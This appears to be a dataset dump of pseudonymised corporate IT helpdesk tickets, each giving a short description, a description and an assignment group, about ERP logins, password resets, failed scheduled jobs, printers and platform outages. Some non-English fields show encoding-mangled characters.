job SID\_51filesys failed in job\_scheduler at: 09/20/2016 20:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: ç”µè¯æ•…éšœ, Description: é“¸æ£’è½¦é—´ç”µè¯æ•…éšœï¼Œ39523850, is assigned to Assignment group: GRP\_48.Ticket with Short description: laptop can't log on, Description: laptop can't log on, is assigned to Assignment group: GRP\_31.Ticket with Short description: upsæ•…éšœ, Description: åˆ¶ç²‰è½¦é—´3æ¥¼psfäº¤æ¢æœºå¤„upsæ•…éšœï¼Œè®¾å¤‡æ— ä»»ä½•ååº”ã€‚, is assigned to Assignment group: GRP\_48.Ticket with Short description: internal crm - auto notification, not received, Description: crm 7611183702 - when the responsible user updated its status as "final review" it generally dispatch the auto-notification email to the crm owner but i have not received the notification. the key user confirmed it hasn't sent to me. reference to the attached email communication. please investigate why., is assigned to Assignment group: GRP\_15.Ticket with Short description: SID\_1 access beathe, Description: \_x000D\_
\_x000D\_
received from: uisewznr.ewtmkphs@gmail.com\_x000D\_
\_x000D\_
hi team,\_x000D\_
\_x000D\_
i am having issues logging into SID\_1. i have reset my password in password manager, but still cannot access it. can you please assist? , is assigned to Assignment group: GRP\_0.Ticket with Short description: a dell search icon is running all the time slowing the laptop down, Description: name:danyhuie deyhtwet
language:
browser:microsoft internet explorer
email:rozsyfai.zncajubh@gmail.com
customer number:
telephone:
summary:new laptop. a dell search icon is running all the time slowing the laptop down, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1315 failed in job\_scheduler at: 09/20/2016 18:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1315 failed in job\_scheduler at: 09/20/2016 18:15:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: add rohhsyni lalanne to shipment notification notice. , Description:
received from: ibtvlfah.dtlwscma@gmail.com
add e-mail address to shipment notification for customer # 81917193
see example attached.
lalanne, rohhsyni c <rohhsyni.lalanne@bakheyr rjuyihes.com>
, is assigned to Assignment group: GRP\_18.Ticket with Short description: tax not printing on customer inwarehouse\_tools, Description: please review the attached inwarehouse\_tools, both of which are the same. the one without the tax is the one the customer received. the second one with the tax is one that i sent to myself and is billing tax. i spoke with cegtcily in the tax dept. and she is stating that she has a ticket in for this issue where tax is not printing but is calculating in erp. please look into this issues as quickly as possible as customers are now questioning the billing difference and it is becoming an issue for our customers. , is assigned to Assignment group: GRP\_13.Ticket with Short description: canadian customer inwarehouse\_tools are not printing the tax amount on the inwarehouse\_tools, Description:
received from: gkzedilm.tkpfumeb@gmail.com
user gkzedilm tkpfumeb [jesjnlyenm] can't log into his aplications - engineering\_tool and netweaver.
netweaver reports "too many incorrect logins" and engineering\_engineering\_tools "unable to contact server".
i suspect the user is blocked from these accounts due to too many incorrect logins.
the user did not recently changed password.
, is assigned to Assignment group: GRP\_13.Ticket with Short description: telefon defekt , Description: gigaset m2 mit der durchwahl 479\_x000D\_
akku hÃ¤lt nicht mehr lÃ¤nger wie 1 tag\_x000D\_
kann am display nicht mehr erkennen.\_x000D\_
clip defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: unable to log in to erp , Description: unable to log in to erp, is assigned to Assignment group: GRP\_0.Ticket with Short description: user jeshyensky can't log into accounts, Description:
received from: gkzedilm.tkpfumeb@gmail.com
user gkzedilm tkpfumeb [jesjnlyenm] can't log into his aplications - engineering\_tool and netweaver.
netweaver reports "too many incorrect logins" and engineering\_engineering\_tools "unable to contact server".
i suspect the user is blocked from these accounts due to too many incorrect logins.
the user did not recently changed password.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset for mii, Description: password reset for mii\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: my phone #, erp, "name or password is incorrect (repeat logon)", cannot log into erp systems., Description: i have access to a few systems on erp but i am not able to log into the system. i have entered "wynhtydf" as my username and for the password i enter the same password that successfully logs me into password\_management\_tool password manager. i have unlocked the systems which i have access to in password\_management\_tool password manager and still cannot log in. please see screenshot "erp error screenshot" for the error message and "password\_management\_tool password unlock" for list of erp systems i cannot access., is assigned to Assignment group: GRP\_0.Ticket with Short description: sfb : personal certificate error , Description: sfb : personal certificate error , is assigned to Assignment group: GRP\_0.Ticket with Short description: my password is locked when i am trying to go into the erp newweaver portal., Description: name:nmpworvu upgtrvnj
language:
browser:microsoft internet explorer
email:nmpworvu.upgtrvnj@gmail.com
customer number:
telephone:
summary:my password is locked when i am trying to go into the erp newweaver portal., is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to log in to mii, Description: unable to log in to mii, is assigned to Assignment group: GRP\_0.Ticket with Short description: loading esprit cam software on laptop...., Description: \_x000D\_
\_x000D\_
received from: jvshydix.rzpmnylt@gmail.com\_x000D\_
\_x000D\_
twimc\_x000D\_
\_x000D\_
i have the opportstorage\_product, along with ruben castro of company, to receive free downloads of esprit cam software through a local authorized esprit dealer we are teaming with on a project locally. i was wondering what we needed to do in order to receive administrative approval? , is assigned to Assignment group: GRP\_3.Ticket with Short description: cannot connect to outlook from home, Description: cannot connect to outlook from home, is assigned to Assignment group: GRP\_3.Ticket with Short description: prpf instead of prir, Description: for usa location and order 226033677, operation 10\_x000D\_
\_x000D\_
mii showed the order in prpf status, looking at erp, order was partially confirmed followed by "automatic pause" which mii adds. change log shows all entries were done by miiadmin. it's weird since erp is showing expected status which is provided by mii but mii itself is showing prpf status which does not make sense. reporting this issue so team can do a deep dive and come up with the solution, is assigned to Assignment group: GRP\_41.Ticket with Short description: qipzctgs wjhtbpfr - need network account so he can get email and etime, Description: qipzctgs wjhtbpfr is onsite in usa at baker. he needs to have access to use etime and email. i'm told he needs a network account so we can get all this et up. this is urgent. need by 9/26/16, is assigned to Assignment group: GRP\_3.Ticket with Short description: i cannot access the discount tool, Description: when trying to enter a discount i get the following message:\_x000D\_
\_x000D\_
error occured. contact pricing\_x000D\_
\_x000D\_
i have a new laptop. i don't think it has been configured yet., is assigned to Assignment group: GRP\_0.Ticket with Short description: confirm threshold qty, Description: if i set confirm qty threshold to 100, it gives me error even when i try to confirm order planned qty (default). \_x000D\_
for example - if order is 20 pieces and confirmation screen by default shows 20 pieces, it will give me a warning if threshold is set to 100. i believe i should get this warning for confirming pieces higher than threshold. (threshold should check if pieces entered are equal or less than planned => no warning), is assigned to Assignment group: GRP\_41.Ticket with Short description: performance improvement/tuning , Description: performance improvement/tuning for machine summary & load list\_x000D\_
, is assigned to Assignment group: GRP\_41.Ticket with Short description: erp SID\_34 login issue - terhyury portelance , Description: name:chhyene dolhyt
language:
browser:microsoft internet explorer
email:ianqdhmu.camoysfq@gmail.com
customer number:
telephone:
summary:i am currently on the phone with our salesman terhyury portelance and he needs his password reset in erp. can you help. his user id is porteta, is assigned to Assignment group: GRP\_0.Ticket with Short description: vmsliazh ltksxmyv causing high cpu utilization on server HostName\_341, Description: we've noticed that the cpu utilization on the mii uacyltoe hxgaycze server, HostName\_341, has been hovering around 50% - 70% with occasional spikes to 100%. we have stopped all of the background jobs and even rebooted the server but the utilization is still very high. attached is a screen shot of the task manager processes showing the sql process. is there anything that you can check on this server to see what is consuming so much of the system resources? there are only a few users who are currently using the uacyltoe hxgaycze system at this time, is assigned to Assignment group: GRP\_1.Ticket with Short description: outlook addin : crm not showing up., Description: outlook addin : crm not showing up., is assigned to Assignment group: GRP\_0.Ticket with Short description: need acces to erp, Description:
received from: umdyvbxo.qwzstijr@gmail.com
hello,
1. erp user id having issue: rudras
2. erp system (SID\_34, SID\_37,..., SID\_1,...SID\_21,..., SID\_51, portal): SID\_34
3. error screenshot:
i am unable to open few transaction codes,
and few codes will not allow me to change anything in the material.
[cid:image001.png@01SID\_35348.7dfea860]
4. su53 screenshot:
[cid:image004.png@01SID\_35349.1758c680]
5. business justification: i am working for usa and will do the same work as schtrtgoyht (schhdgtmips).
6. reference / mirror user id with same job title having access to it: schhdgtmips
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to print expense report, Description: unable to print expense report, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com]
sent: tuesday, september 20, 2016 6:58 pm
to: nwfodmhc exurcwkm
cc: tiyhum kuyiomar
subject: amar - request to reset microsoft online services password for goyvcped.sxbgiajh@gmail.com
importance: high
request to reset user's password
the following user in your organization has requested a password reset be performed for their account:
â€¢ goyvcped.sxbgiajh@gmail.com
â€¢ first name: michbhuael
â€¢ last name: laugdghjhlin
consider contacting this user to validate this request is authentic before continuing.
if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user.
want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks.
sincerely,
company inc.
this message was sent from an unmonitored email address. please do not reply to this message.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: can not create delivery for sto 4908059474, Description: i had company south\_amerirtca look at the sto and someone at our facility and nobody is able to help me. , is assigned to Assignment group: GRP\_6.Ticket with Short description: create co object for aacount 81469651- plant\_248 to do gr - delivery 9168437599- sto 4907248786, Description: is not possible to do gr for delivery 9168437599 - sto 5018359897\_x000D\_
error below \_x000D\_
account 81469651 requires an assignment to a co object\_x000D\_
message no. ki235\_x000D\_
\_x000D\_
diagnosis\_x000D\_
you have not defined a co account assignment for an account that is relevant to cost accounting.\_x000D\_
\_x000D\_
system response\_x000D\_
account 81469651 is defined as a cost element.\_x000D\_
this means that you must always specify a co account assignment.\_x000D\_
\_x000D\_
procedure\_x000D\_
enter one of the following co account assignments\_x000D\_
\_x000D\_
order\_x000D\_
cost center / cost center/ activity type\_x000D\_
sales order item (for a project or cost relevant)\_x000D\_
project / wbs element\_x000D\_
cost object (process manufacturing)\_x000D\_
network/ network activities\_x000D\_
business process\_x000D\_
profitability segment\_x000D\_
real estate object\_x000D\_
the posting row affected is 1111111112, account 81469651\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: application "hana sidecar prod" on node "HostName\_1297" is in a warning state. cpu load is high for that service. , Description: application "hana sidecar prod" on node "HostName\_1297" is in a warning state. cpu load is high for that service. , is assigned to Assignment group: GRP\_14.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 // erp SID\_21 account unlock for user vvshyuwb1, Description: vip 2 // erp SID\_21 account unlock for user vvshyuwb1
from: stefyty parkeyhrt
sent: tuesday, september 20, 2016 9:31 pm
to: nwfodmhc exurcwkm
subject: amar fw: need unlock my userid: vvshyuwb1
importance: high
please assist user aerp. he is a consultant on a project.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2 // unable to access collaboration\_platform, Description:
name:brandhyht s muthdyrta
language:
browser:microsoft internet explorer
email:zanivrec.capbfhur@gmail.com
customer number:
telephone:
summary:collaboration\_platform problem - when i try to access
error
the server is busy now. try again later
correlation id::1e9da59d-50a2-3000-1604-10e20332f108
date and time: 9/20/2016 5:49:42 am
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access collaboration\_platform, Description: unable to access collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: customer master can not be changed., Description: hello\_x000D\_
\_x000D\_
customer â„–81851756\_x000D\_
it changed, but the data is not updated.\_x000D\_
\_x000D\_
from the registration of the ship to only, it has registered a sold to like.\_x000D\_
, is assigned to Assignment group: GRP\_15.Ticket with Short description: missing ewa reports for SID\_51., Description: i have not received the SID\_51 ewa reports for 09/13 and 09/20. please fix., is assigned to Assignment group: GRP\_14.Ticket with Short description: vip 2 // unable to access collaboration\_platform, Description: vip 2 // unable to access collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to access collaboration\_platform, Description: unable to access collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: please provide vpn access to ngfedxrp oirmgqcs, hodgek, approved by phjencfg kwtcyazx and andhtyju volkhd, Description: pc is job\_scheduler owned, company imaged laptop, pc name is job\_schedulerbhml70001, is assigned to Assignment group: GRP\_34.Ticket with Short description: error while qualify a new leadin ms dynamics crm, Description: hi,\_x000D\_
i was working in crm and tried to qualify a new lead. when i did i got the below error. please advise.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_40.Ticket with Short description: job Job\_1394 failed in job\_scheduler at: 09/20/2016 10:55:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1394 failed in job\_scheduler at: 09/20/2016 10:55:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: unable to click on claims page of insurance website, Description: unable to click on claims page of insurance website, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to find any po pending with me, Description: hello,\_x000D\_
\_x000D\_
am unable to find any po pending with me. pl find screen shot, upon going thro' SID\_34.\_x000D\_
kindly do the needfufl.\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: password reset - erp, Description: from: sanmhty mahatndhyua
sent: tuesday, september 20, 2016 12:21 pm
to: nwfodmhc exurcwkm <nwfodmhc.exurcwkm@gmail.com>
subject: sonia - fw: reminder for approval of requisition 49001312
hi,
please reset erp password as i do not use regularly and have to clear below mentioned pr urgently.
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to vcenter HostName\_795, Description: unable to login to vcenter HostName\_795., is assigned to Assignment group: GRP\_12.Ticket with Short description: job kk\_uacyltoe hxgaycze failed in job\_scheduler at: 09/20/2016 10:15:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job kk\_uacyltoe hxgaycze failed in job\_scheduler at: 09/20/2016 10:15:00, is assigned to Assignment group: GRP\_5.Ticket with Short description: discount form, Description: \_x000D\_
\_x000D\_
received from: sqlcuhep.railgnfb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i am not able to use the discount request form. following window opens once i click new request. please help!\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35326.c4793b10]\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_0.Ticket with Short description: replication error : domain controller HostName\_752, Description: we see event ld 1127, 1084 and 2108. which is related to dc replication issue. hence will have to reboot the server., is assigned to Assignment group: GRP\_39.Ticket with Short description: zredeploy created sto has future committed date, Description: sto created by zredeploy has future committed date in it even when stock are available at the sender warehouse. , is assigned to Assignment group: GRP\_6.Ticket with Short description: require new driver for local printer., Description: require new driver for local printer., is assigned to Assignment group: GRP\_0.Ticket with Short description: am not able to save a spreadsheet into team documents, Description: need to be able to save several times a day into team documents - can't attach screenshot - , is assigned to Assignment group: GRP\_16.Ticket with Short description: screenshot, Description:
received from: gbirhjat.fptbrhwv@gmail.com
please look at this this error message and let me know how to fix it.
[cid:image001.jpg@01SID\_35324.a628ae40]
marjnstyk r jsytis
senior sales engineer
gbirhjat.fptbrhwv@gmail.com
[company\_horz\_logo]
, is assigned to Assignment group: GRP\_40.Ticket with Short description: archiving\_tool server - optical archive documents, Description: \_x000D\_
\_x000D\_
received from: seltxfkw.ontgxqwy@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
our local application can't download files from archiving\_tool server because the content repository address is not returning a valid response.\_x000D\_
archiving\_tool addreess we are tring to call is:\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
and we obtain the following answer:\_x000D\_
\_x000D\_
\_x000D\_
http status 404 - /procache/cscache\_x000D\_
\_x000D\_
--------------------------------------------------------------------------------\_x000D\_
\_x000D\_
type status report\_x000D\_
\_x000D\_
message /procache/cscache\_x000D\_
\_x000D\_
description the requested resource is not available.\_x000D\_
\_x000D\_
i kindly ask you to check web service configuration to enable comunication on 8080 port.\_x000D\_
trying to ping archiving\_tool-app the address is solved as 10.2.9.149.\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_47.Ticket with Short description: erp SID\_34 password reset, Description: name:mfeyouli ndobtzpw
language:
browser:microsoft internet explorer
email:mfeyouli.ndobtzpw@gmail.com
customer number:
telephone:
summary:please reset SID\_34 erp account for haunm, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_2063b failed in job\_scheduler at: 09/20/2016 09:37:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2063b failed in job\_scheduler at: 09/20/2016 09:37:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: outlook does not open, Description: outlook does not open, is assigned to Assignment group: GRP\_0.Ticket with Short description: the shop\_floor\_app is reporting a : down status on, lcosm005. please investigate, Description: observing alert in monitoring\_tool since 09:04 am on 09/20 et:\_x000D\_
the shop\_floor\_app is reporting a : down status on, lcosm005. we are able to ping the server.\_x000D\_
\_x000D\_
c:\users\karansb>ping lcosm005\_x000D\_
\_x000D\_
pinging lcosm005.company.company.com [57.68.38.7412] with 32 bytes of data:\_x000D\_
reply from 57.68.38.7412: bytes=32 time=230ms ttl=124\_x000D\_
reply from 57.68.38.7412: bytes=32 time=230ms ttl=124\_x000D\_
reply from 57.68.38.7412: bytes=32 time=230ms ttl=124\_x000D\_
reply from 57.68.38.7412: bytes=32 time=230ms ttl=124\_x000D\_
\_x000D\_
ping statistics for 57.68.38.7412:\_x000D\_
packets: sent = 4, received = 4, lost = 0 (0% loss),\_x000D\_
approximate round trip times in milli-seconds:\_x000D\_
minimum = 230ms, maximum = 230ms, average = 230ms\_x000D\_
\_x000D\_
c:\users\karansb>\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: clients laptop crashed and will not boot, Description: clients laptop crashed and will not boot, is assigned to Assignment group: GRP\_3.Ticket with Short description: account locked, Description: account locked, is assigned to Assignment group: GRP\_0.Ticket with Short description: in plant\_228 EU\_tool is not working since friday, Description: we are already in contact with the EU\_tool-system in india. we need each imaginal help. since friday 09-20-2016 we have big problems with EU\_tool since friday 09-20-2016. today EU\_tool we have no chance to confirm our operations, to sign our errors, to set our stockmanagement etc. this is a very great hinderance for plant\_228. , is assigned to Assignment group: GRP\_25.Ticket with Short description: replace monitor in cell 3 with one that tiyhum kuyiomar sent., Description: replace monitor in cell 3 with one that tiyhum kuyiomar sent., is assigned to Assignment group: GRP\_3.Ticket with Short description: vip 2: collaboration\_platform access problem, Description:
received from: kzbuhixt.zjdmoahr@gmail.com
i'm not able to log into collaboration\_platform or collaboration\_platform. i have restarted my pc multiple times and tried to log in but cannot do so. please advise! see screen shots below. -
[cid:image001.png@01SID\_3531f.1b49eff0]
[cid:image002.png@01SID\_3531f.1b49eff0]
sethdyr hdtyr
assistant general counsel â€“ compliance and real estate
kzbuhixt.zjdmoahr@gmail.com<mailto:kzbuhixt.zjdmoahr@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: collaboration\_platform, Description:
received from: rxqtvanc.kthqwxvb@gmail.com
company collaboration\_platform is down. cannot access the hub. keep getting this message.
[cid:image001.png@01SID\_3531e.f83adec0]
rxqtvanc kthqwxvb
region controller - amerirtcas
email: rxqtvanc.kthqwxvb@gmail.com<mailto:rxqtvanc.kthqwxvb@gmail.com>
, is assigned to Assignment group: GRP\_16.Ticket with Short description: replace monitor across from yolktfas fyoxqgvh. a different cable is needed., Description: replace monitor across from yolktfas fyoxqgvh. a different cable is needed., is assigned to Assignment group: GRP\_3.Ticket with Short description: i can not access the company collaboration\_platform server in usa., Description: i get an error message indicating "the server is busy right now. try again later". please see the attachment to review the message. if you need additional information, i can be reached at (, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip2: the hub / collaboration\_platform is down, Description:
received from: lpoebzsc.grknswyo@gmail.com
i am unable to access the hub, collaboration\_platform, and collaboration\_platform. i receive the below error.
[cid:image001.png@01SID\_3531e.66b94450]
best,
lpoebzsc grknswyo
executive assistant tofinance\_vip1,
vice president and chief financial officer
lpoebzsc.grknswyo@gmail.com<mailto:lpoebzsc.grknswyo@gmail.com>
, is assigned to Assignment group: GRP\_0.Ticket with Short description: cursors moving in the opposite direction., Description: cursors moving in the opposite direction.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account locked., Description: erp SID\_34 account locked. , is assigned to Assignment group: GRP\_0.Ticket with Short description: erp password reset for user : lombab<vrcqhnty ajomhkfv>, Description:
summary:operator does not know their mii erp username or password, is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1552016 - ticket update, Description: inc1552016 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: server is busy on collaboration\_platform, Description: server is busy on collaboration\_platform, is assigned to Assignment group: GRP\_0.Ticket with Short description: 2 active content versions, Description: we can't open and save 71844588 nxa as there are two epj active content versions.\_x000D\_
\_x000D\_
i've tried using /dscsag/dms\_kpro\_double\_repair without success.\_x000D\_
\_x000D\_
according to bob ..."there is a report in erp called rsir\_content\_unmarkhty\_prelim that should resolve the issue with multiple active content versions", is assigned to Assignment group: GRP\_11.Ticket with Short description: vip 2 printer drivers not installing, Description: unsuccessful installing drivers for network printers (tc48 & tc19); attempts result in "error processing request.", is assigned to Assignment group: GRP\_0.Ticket with Short description: company.collaboration\_platform.com : application status is down from 8:47 am et 09/20., Description: company.collaboration\_platform.com : application status is down from 8:47 am et 09/20., is assigned to Assignment group: GRP\_16.Ticket with Short description: drucker em95 defekt, Description: drucker em95 druckt nicht mehr irgend ein fehler im papiereinzug nach anweisung fehlermeldung nachgeschaut und nichts gefunden?, is assigned to Assignment group: GRP\_42.Ticket with Short description: error message and different views, Description: during working on crm i' m getting exit pop-ups - i attached screens, is assigned to Assignment group: GRP\_15.Ticket with Short description: wk25 erp drucker druckt nicht sauber. seiten wedgrtyh ahsnwtey., Description: wk25 erp drucker druckt nicht sauber. seiten wedgrtyh ahsnwtey., is assigned to Assignment group: GRP\_33.Ticket with Short description: vip 2 // unable to sign in to one note as password is not synching, Description: vip 2 // unable to sign in to one note as password is not synching, is assigned to Assignment group: GRP\_0.Ticket with Short description: account auf iphone lÃ¶schen und neu anlegen., Description: da durch den zugriff per iphone auf den mail account das gesamte konto gesperrt wurde, \_x000D\_
muss der account auf dem iphone gelÃ¶scht und neu anlegt werden., is assigned to Assignment group: GRP\_24.Ticket with Short description: passwort muÃŸ nochmals zurÃ¼ckgestzt werden., Description: vermutlich hat der zugriff mit dem iphone das konto wieder gesperrt.\_x000D\_
passwort muÃŸ nochmals zurÃ¼ckgestzt werden. /jxphgfmb gjbtuwek, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp SID\_34 password reset request , Description: erp SID\_34 password reset request , is assigned to Assignment group: GRP\_0.Ticket with Short description: user is unable to open presentation from outlook client., Description: user is unable to open presentation from outlook client., is assigned to Assignment group: GRP\_19.Ticket with Short description: archive emails, Description: old e-mails - they have been archived somewhere? i need to access - how do i get there?, is assigned to Assignment group: GRP\_0.Ticket with Short description: inc1552901: packet drops in india -1111460708, Description:
received from: mnlazfsr.mtqrkhnx@gmail.com
from: ramdntythanjeshkurtyar [mailto:radjkanjesh.sidrthy@telecom\_vendor\_1corp.com]
sent: tuesday, september 20, 2016 6:06 am
to: spxqmiry zpwgoqju; sadjuetha shwyhdtu
cc: datacenter; network; sot.south@telecom\_vendor\_1corp.com
subject: re: packet drops
dear vignbhyesh,
we are experiencing internal fiber media issue outage.
team is working on for restoration. etr is 4.30 pm.
warm , is assigned to Assignment group: GRP\_8.Ticket with Short description: windows update kb4283716 makes logon the telephony\_software imposible ( do not assign to telephony\_software admins), Description: when users delete the update, it will run the update every day. the update makes it impossible to logon to the telephony\_software phone system.\_x000D\_
therefor we need to have a easy way to remove the update or avoid the update to be installed.\_x000D\_
\_x000D\_
this is a global issue although mostly seen within europe.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_65.Ticket with Short description: engineering tool related issue, Description: \_x000D\_
\_x000D\_
received from: zdgxtfqs.tibmhxcs@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
please refer the below screen shot for engineering tool related issue.\_x000D\_
after installing software update, i am unable make new customer entries. please note that option button for new customer entry is not appearing.\_x000D\_
\_x000D\_
kindly resolve the problem at the earliest.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35364.8a8deca0]\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_25.Ticket with Short description: one note issue, Description: \_x000D\_
\_x000D\_
received from: lhejbwkc.xbmyvnqf@gmail.com\_x000D\_
\_x000D\_
hi\_x000D\_
\_x000D\_
when a one note workbook is shared with me i can only open the web view and get below error message:\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_35346.ecc0c320]\_x000D\_
\_x000D\_
according to the owner i have permission to open it.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_16.Ticket with Short description: problem with hagemeyer oci shop in SID\_34 purchasing, Description: as discussed\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: cvd amount wrongly generated, Description: \_x000D\_
\_x000D\_
received from: ikerxqwz.prkyuitl@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
vide below mentioned inwarehouse\_tool , customer has returned material without excise papers .\_x000D\_
\_x000D\_
we find system has debited cvd amount and also credited expenses .\_x000D\_
\_x000D\_
please review and rectify accordingly\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01SID\_3535e.501961e0]\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_10.Ticket with Short description: reset password in SID\_50 - user zigioachstyac, Description: reset password in SID\_50 - user zigioachstyac, is assigned to Assignment group: GRP\_2.Ticket with Short description: bitte im laufwerk germany unter m:\berechnungsprogramdntym die datei db\_stp vom datum 19.09.2016 wiederherstellen., Description: bitte im laufwerk germany unter m:\berechnungsprogramdntym die sicherungsdatei db\_stp vom datum 19.09.2016 wiederherstellen. benÃ¶tigen wir um produktionsinfos raus zu geben., is assigned to Assignment group: GRP\_12.Ticket with Short description: not able to build distributor\_tool project in local system, Description: not able to build distributor\_tool project in local system.\_x000D\_
when i login(vvhstyap) with my details, i m not able to build project in my local system. but, when my colleague log's in with his login details, he's able to build the project in my local system\_x000D\_
so kindly look into this on priority as it is stopping my development activities.\_x000D\_
you can use venktyamk12 login name as a reference to map the roles to me., is assigned to Assignment group: GRP\_2.Ticket with Short description: awb 0276036761 / sin - jnb, Description: it help,\_x000D\_
\_x000D\_
for dn# 9169292812, the post code is 1518 on the shipping label from kis as below. \_x000D\_
but the correct post code should be 1478 as cec confirms it's same in customer master. \_x000D\_
copy the screens below. \_x000D\_
\_x000D\_
can you check what caused the wrong post code on the label? , is assigned to Assignment group: GRP\_18.Ticket with Short description: rma process fault in erp, Description: hello,\_x000D\_
\_x000D\_
\_x000D\_
could you please resolve the following issue immediately?\_x000D\_
\_x000D\_
issue: trying to rma with using "zlx5" which is the erp process for returning goods and there are the below screen shot shows fault.\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
best , is assigned to Assignment group: GRP\_18.Ticket with Short description: engineering\_tool update, Description: \_x000D\_
\_x000D\_
received from: xwertljy.zrmlhkyq@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
\_x000D\_
new customer addition button is missing please update, matheywter urgent.\_x000D\_
\_x000D\_
[cid:image001.jpg@01SID\_35359.4f8d67d0]\_x000D\_
, is assigned to Assignment group: GRP\_25.Ticket with Short description: zugriff auf verlauf m:\skv-alicona., Description: hallo ,
folgende mitarbeiter benÃ¶tigen zugriff auf unten stehen verlauf
m:\skv-alicona
mitarbeiter: rhaycqjg arcgonvy (kudhnyuhnm), nfybpxdg yjtdkfuo (kesrgtyu), lxfnwyuv bqmjyprz (rockehsty) hgrvubzo wgyhktic (koiergyvh) und hnyeajrw ctxjsolz (simekdty)
vergleichsmitarbeiter: h. beckshtywsnh ( beckshtyw)
, is assigned to Assignment group: GRP\_24.Ticket with Short description: erp user profile for pthsqroz moedyanvess, Description: i need to complete a npc task in erp, but i get error messages, see attachement.\_x000D\_
\_x000D\_
please cancel chg1145533 as this got created by mistake., is assigned to Assignment group: GRP\_2.Ticket with Short description: HostName\_1132: web tier (epmsystem2) & java server (epmsystem2) are down., Description: HostName\_1132 : oracle finance\_app financial management - web tier (epmsystem2) - service monitor(unknown)\_x000D\_
HostName\_1132 : oracle finance\_app financial management - java server (epmsystem2) - service monitor(unknown)\_x000D\_
, is assigned to Assignment group: GRP\_12.Ticket with Short description: drucker em26 geht nicht mehr, Description: drucker em26 geht nicht mehr trotz mehrere druckauftrÃ¤ge\_x000D\_
kein anderer drucker instaliert \_x000D\_
bitte drucker em47 auch instalieren, is assigned to Assignment group: GRP\_42.Ticket with Short description: unable to launch erp, Description: unable to launch erp, is assigned to Assignment group: GRP\_28.Ticket with Short description: need access to emails of qiscgfjv.kxfdsijv@gmail.com for a year., Description: need access to emails of qiscgfjv.kxfdsijv@gmail.com for a year.
ph: , is assigned to Assignment group: GRP\_26.Ticket with Short description: rickjdt has confirmed that the password is working after reset. , Description: rickjdt has confirmed that the password is working after reset. , is assigned to Assignment group: GRP\_0.Ticket with Short description: bitte um freigabe von m:\skv-alicona., Description: bitte um freigabe von m:\skv-alicona. /hnyeajrw ctxjsolz, is assigned to Assignment group: GRP\_12.Ticket with Short description: brauche freigabe fÃ¼r m:\skv-alicona., Description: brauche freigabe fÃ¼r m:\skv-alicona. /hgrvubzo wgyhktic, is assigned to Assignment group: GRP\_12.Ticket with Short description: erp SID\_34 password reset , Description: erp SID\_34 password reset , is assigned to Assignment group: GRP\_0.Ticket with Short description: job pp\_EU\_tool\_netch\_ap1 failed in job\_scheduler at: 09/20/2016 05:40:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
